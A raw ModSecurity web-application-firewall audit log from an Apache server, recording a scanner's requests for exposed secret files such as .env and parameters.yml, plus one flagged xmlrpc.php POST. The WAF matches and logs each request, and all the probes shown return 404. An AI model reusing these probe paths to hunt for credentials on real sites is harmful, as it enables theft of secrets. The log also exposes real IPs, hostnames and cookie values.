charset=UTF-8 --e04d9b01-H-- Message: Warning. Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/config/parameters.yml"] [unique_id "aE8adAW_rlaNA7qLBTtAhgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014580600480 712618 (- - -) Stopwatch2: 1750014580600480 712618; combined=2089, p1=426, p2=1558, p3=0, p4=0, p5=104, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e04d9b01-Z-- --70117b02-A-- [16/Jun/2025:00:39:58.230477 +0530] aE8ahT3D4g1mGjVnV5KDagAAAAY 185.177.72.210 49682 127.0.0.1 7081 --70117b02-B-- GET /:8000/log/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --70117b02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2eb0df6c16d98970cf6fab6c7a7cb1441750014598; expires=Sun, 15 Jun 2025 20:09:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --70117b02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/log/.env"] [unique_id "aE8ahT3D4g1mGjVnV5KDagAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014597573594 656947 (- - -) Stopwatch2: 1750014597573594 656947; combined=1670, p1=355, p2=1214, p3=0, p4=0, p5=101, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70117b02-Z-- --9b974b0c-A-- [16/Jun/2025:00:39:59.212398 +0530] aE8ahiCwfN5GtQhYhHBA8wAAAAw 185.177.72.210 49714 127.0.0.1 7081 --9b974b0c-B-- GET /production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b974b0c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cbc4cacc233a59665b356e5c9a6ccabf1750014599; expires=Sun, 15 Jun 2025 20:09:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b974b0c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/production/.env"] [unique_id "aE8ahiCwfN5GtQhYhHBA8wAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014598553992 658518 (- - -) Stopwatch2: 1750014598553992 658518; combined=2058, p1=402, p2=1549, p3=0, p4=0, p5=107, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b974b0c-Z-- --f77eb165-A-- [16/Jun/2025:00:40:06.707054 +0530] aE8ajleqy5hRjKvJEAyZlgAAAAE 185.177.72.210 57336 127.0.0.1 7081 --f77eb165-B-- GET /web-dist/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f77eb165-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ae5fc1c80b123bcdcead1a6a98e9382b1750014606; expires=Sun, 15 Jun 2025 20:10:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f77eb165-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web-dist/.env"] [unique_id "aE8ajleqy5hRjKvJEAyZlgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014606037085 670049 (- - -) Stopwatch2: 1750014606037085 670049; combined=1478, p1=298, p2=1057, p3=0, p4=0, p5=122, sr=73, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f77eb165-Z-- --5e97966d-A-- [16/Jun/2025:00:40:07.728853 +0530] aE8ajyhnDkBlcF0fkxMLQQAAAAQ 185.177.72.210 57364 127.0.0.1 7081 --5e97966d-B-- GET /local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5e97966d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=68b6ded8181241755f38223a8dcb31051750014607; expires=Sun, 15 Jun 2025 20:10:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5e97966d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/local/.env"] [unique_id "aE8ajyhnDkBlcF0fkxMLQQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014607029827 699096 (- - -) Stopwatch2: 1750014607029827 699096; combined=1914, p1=351, p2=1440, p3=0, p4=0, p5=123, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e97966d-Z-- --3959b912-A-- [16/Jun/2025:00:40:14.006272 +0530] aE8alSKD19h5xDtM-2wZZgAAAAo 185.177.72.210 47260 127.0.0.1 7081 --3959b912-B-- GET /var/lib/mlocate/mlocate.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3959b912-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b79ad45ba1a72f2fcbd4bfdf8b4275ef1750014613; expires=Sun, 15 Jun 2025 20:10:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3959b912-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/var/lib/mlocate/mlocate.db"] [unique_id "aE8alSKD19h5xDtM-2wZZgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014613316575 689760 (- - -) Stopwatch2: 1750014613316575 689760; combined=2044, p1=352, p2=1594, p3=0, p4=0, p5=98, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3959b912-Z-- --469b3a47-A-- [16/Jun/2025:00:40:15.019593 +0530] aE8alpnj7pFxi-BGHz6qSwAAAAI 185.177.72.210 47382 127.0.0.1 7081 --469b3a47-B-- GET /08-routing/begin/vue-heroes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --469b3a47-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f30c78ca59962dac644e88c7f19d39081750014614; expires=Sun, 15 Jun 2025 20:10:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --469b3a47-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/08-routing/begin/vue-heroes/.env"] [unique_id "aE8alpnj7pFxi-BGHz6qSwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014614340938 678727 (- - -) Stopwatch2: 1750014614340938 678727; combined=2252, p1=473, p2=1668, p3=0, p4=0, p5=110, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --469b3a47-Z-- --ed508826-A-- [16/Jun/2025:00:40:18.001033 +0530] aE8amS7MaF0j8lD2KTIVFgAAAAM 185.177.72.210 47510 127.0.0.1 7081 --ed508826-B-- GET /:8000/.env.www HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ed508826-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=47d32cd8f738bfb00b41dd8cd6420b991750014617; expires=Sun, 15 Jun 2025 20:10:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ed508826-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.www"] [unique_id "aE8amS7MaF0j8lD2KTIVFgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014617361574 639534 (- - -) Stopwatch2: 1750014617361574 639534; combined=1642, p1=361, p2=1182, p3=0, p4=0, p5=98, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed508826-Z-- --6d76f30c-A-- [16/Jun/2025:00:40:19.026769 +0530] aE8amihnDkBlcF0fkxMLTQAAAAQ 185.177.72.210 47560 127.0.0.1 7081 --6d76f30c-B-- GET /:8880/courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6d76f30c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9aa37b63f61a85eb0a1fd23ed093867b1750014618; expires=Sun, 15 Jun 2025 20:10:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6d76f30c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/courrier/.env"] [unique_id "aE8amihnDkBlcF0fkxMLTQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014618335381 691451 (- - -) Stopwatch2: 1750014618335381 691451; combined=1948, p1=374, p2=1469, p3=0, p4=0, p5=105, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6d76f30c-Z-- --7fa5646f-A-- [16/Jun/2025:00:40:25.296880 +0530] aE8aoC7MaF0j8lD2KTIVGQAAAAM 128.199.112.101 34728 127.0.0.1 7081 --7fa5646f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7fa5646f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7fa5646f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8aoC7MaF0j8lD2KTIVGQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014624322257 974703 (- - -) Stopwatch2: 1750014624322257 974703; combined=2594, p1=367, p2=1737, p3=47, p4=72, p5=221, sr=108, sw=150, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7fa5646f-Z-- --86817b09-A-- [16/Jun/2025:00:40:26.840358 +0530] aE8aoihnDkBlcF0fkxMLUAAAAAQ 185.177.72.210 34772 127.0.0.1 7081 --86817b09-B-- GET /administrateur/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --86817b09-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=471c09e50b6d920d25dafb6171997a141750014626; expires=Sun, 15 Jun 2025 20:10:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --86817b09-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/administrateur/.env.production"] [unique_id "aE8aoihnDkBlcF0fkxMLUAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014626055163 785257 (- - -) Stopwatch2: 1750014626055163 785257; combined=2580, p1=535, p2=1956, p3=0, p4=0, p5=89, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --86817b09-Z-- --ef6f5a3e-A-- [16/Jun/2025:00:40:33.597108 +0530] aE8aqD3D4g1mGjVnV5KDgQAAAAY 185.177.72.210 52116 127.0.0.1 7081 --ef6f5a3e-B-- GET /:9000/.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ef6f5a3e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=445e024223f3c691a7b1db2a9c6253861750014633; expires=Sun, 15 Jun 2025 20:10:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ef6f5a3e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.c9/metadata/environment/.env"] [unique_id "aE8aqD3D4g1mGjVnV5KDgQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014632918225 678987 (- - -) Stopwatch2: 1750014632918225 678987; combined=2144, p1=387, p2=1636, p3=0, p4=0, p5=121, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef6f5a3e-Z-- --04640c52-A-- [16/Jun/2025:00:40:34.600045 +0530] aE8aqZnj7pFxi-BGHz6qUwAAAAI 185.177.72.210 52150 127.0.0.1 7081 --04640c52-B-- GET /old/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --04640c52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=92459523ed8d79d66f5cd1ef5cdfdd5d1750014634; expires=Sun, 15 Jun 2025 20:10:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --04640c52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env"] [unique_id "aE8aqZnj7pFxi-BGHz6qUwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014633937741 662366 (- - -) Stopwatch2: 1750014633937741 662366; combined=2437, p1=493, p2=1846, p3=0, p4=0, p5=98, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04640c52-Z-- --77dc7261-A-- [16/Jun/2025:00:40:35.584800 +0530] aE8aqleqy5hRjKvJEAyZrQAAAAE 185.177.72.210 52172 127.0.0.1 7081 --77dc7261-B-- GET /revision.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --77dc7261-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d5524e3a8912327536bcbba6cfcba8ff1750014635; expires=Sun, 15 Jun 2025 20:10:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --77dc7261-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/revision.inc"] [unique_id "aE8aqleqy5hRjKvJEAyZrQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014634924150 660725 (- - -) Stopwatch2: 1750014634924150 660725; combined=1823, p1=431, p2=1283, p3=0, 